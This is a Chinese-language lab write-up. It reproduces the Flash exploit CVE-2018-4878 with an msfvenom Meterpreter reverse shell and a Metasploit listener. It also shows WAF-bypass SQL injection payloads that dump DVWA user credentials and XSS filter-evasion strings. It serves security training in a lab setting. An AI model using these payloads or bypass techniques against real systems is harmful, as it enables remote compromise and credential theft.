14-CVE-2018-4878漏洞复现&WAF绕过
1、CVE-2018-4878漏洞复现
-
环境:
Kali Linux + Windows 7 sp3 - 攻击机:Kali Linux - 靶机:Windows 7 sp3 - exp:cve-2018-4878.py - flash:flashplayer_activex_28.0.0.137.exe
-
在kali中使用msfvenom生成漏洞利用代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.170 lport=4445 -f python>test_shellcode.txt -
修改cve-2018-4878.py 文件中的shellcode(刚刚生成的test_shellcode.txt文件内容)及路径


-
运行python脚本,生成两个文件:exploit.swf、index2.html
python2 cve-2018-4878.py -
开启Apache服务,将生成的两个文件拷贝到apache根目录下
service apache2 start cp /root/CVE-2018-4878-master/* /var/www/html/ -
kali开启监听
msfconsole use exploit/multi/handler #使用监听模块 options set payload windows/meterpreter/reverse_tcp set lhost 10.0.0.170 set lport 4445 run #开启监听
-
win7安装flash
-
win7使用IE浏览器访问Kali中生成好的 index2.html 页面

-
反弹shell直接拿下meterpreter

2、实现WAF安装与配置
-
环境:Win7+phpStudy+安全狗
-
在小皮中安装DVWA
-
一键启动 > WNMP 处设置使用 MySQL+Apache 套件启动Web环境

-
源代码放到网站根目录下
-
编辑C:\phpstudy_pro\WWW\DVWA\config\config.inc.php.dist文件(将后缀.dist去除,改为以php结尾)

-
修改配置文件 C:\phpstudy_pro\WWW\DVWA\php.ini

-
运行phpstudy,版本是php7.3.4,启动Apache服务,成功访问DVWA

-
初始化后避免乱码,使用 SQL_Front 工具修改 dvwa 库下的表编码方式为
utf8_general_ci
-
-
装安全狗
-
关闭apache程序及httpd.exe进程

-
以管理员的身份运行cmd,进入 apache/bin 目录, 执行
.\httpd.exe -k install -n apache2.4.39
-
开启任务管理器>服务中的apache2.4.39 服务

-
成功安装安全狗

-
-
在DVWA的sql注入模块输入
1' or 1=1 #测试防护成功
3、WAF绕过SQL注入
(1)分别在无WAF和有WAF的情况下,利用SQLMap进行注入,对比注入结果的区别
-
无WAF
python sqlmap.py -r 1.txt --batch --dbs爆出版本信息及数据库名称

-
有WAF
python sqlmap.py -r 2.txt --batch --dbssqlmap跑出的数据漏洞不全,只能跑出布尔盲注和报错注入,且只能爆出版本信息

(2)有WAF的情况下,手工注入出DVWA数据库中的user和password
-
查字段列数,由于
order by会被WAF拦截,这里用group by绕过1' group by 2# -
使用正则表达式和内联注释绕过
-1' regexp "%0A%23"/*!11445union all %0A select*/ 1,2--+
-
爆库名-dvwa
-1' regexp "%0A%23"/*!11445union all %0A select*/ 1,database(%0A/*!11445*/)--+
-
爆dvwa库的表名
-1' /*!%0aunion*/ /*!--+/*%0aselect*/1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'--+
-
爆users表的字段名
-1' /*!%0aunion*/ /*!--+/*%0aselect*/1, group_concat(column_name) from information_schema.columns where table_name='users' --+
-
爆user,password具体数据
-1' /*!%0aunion*/ /*!--+/*%0aselect*/ user, password from users --+
4、WAF绕过XSS实验
-
直接提交
<script>alert(1)</script>发现会被WAF拦截
-
可以利用base64编码绕过
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=" <!--“PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=”,base64解码后为<script>alert(1)</script> -->
-
还可以利用svg标签进行绕过
<svg/onload=alert(2)>

浙公网安备 33010602011771号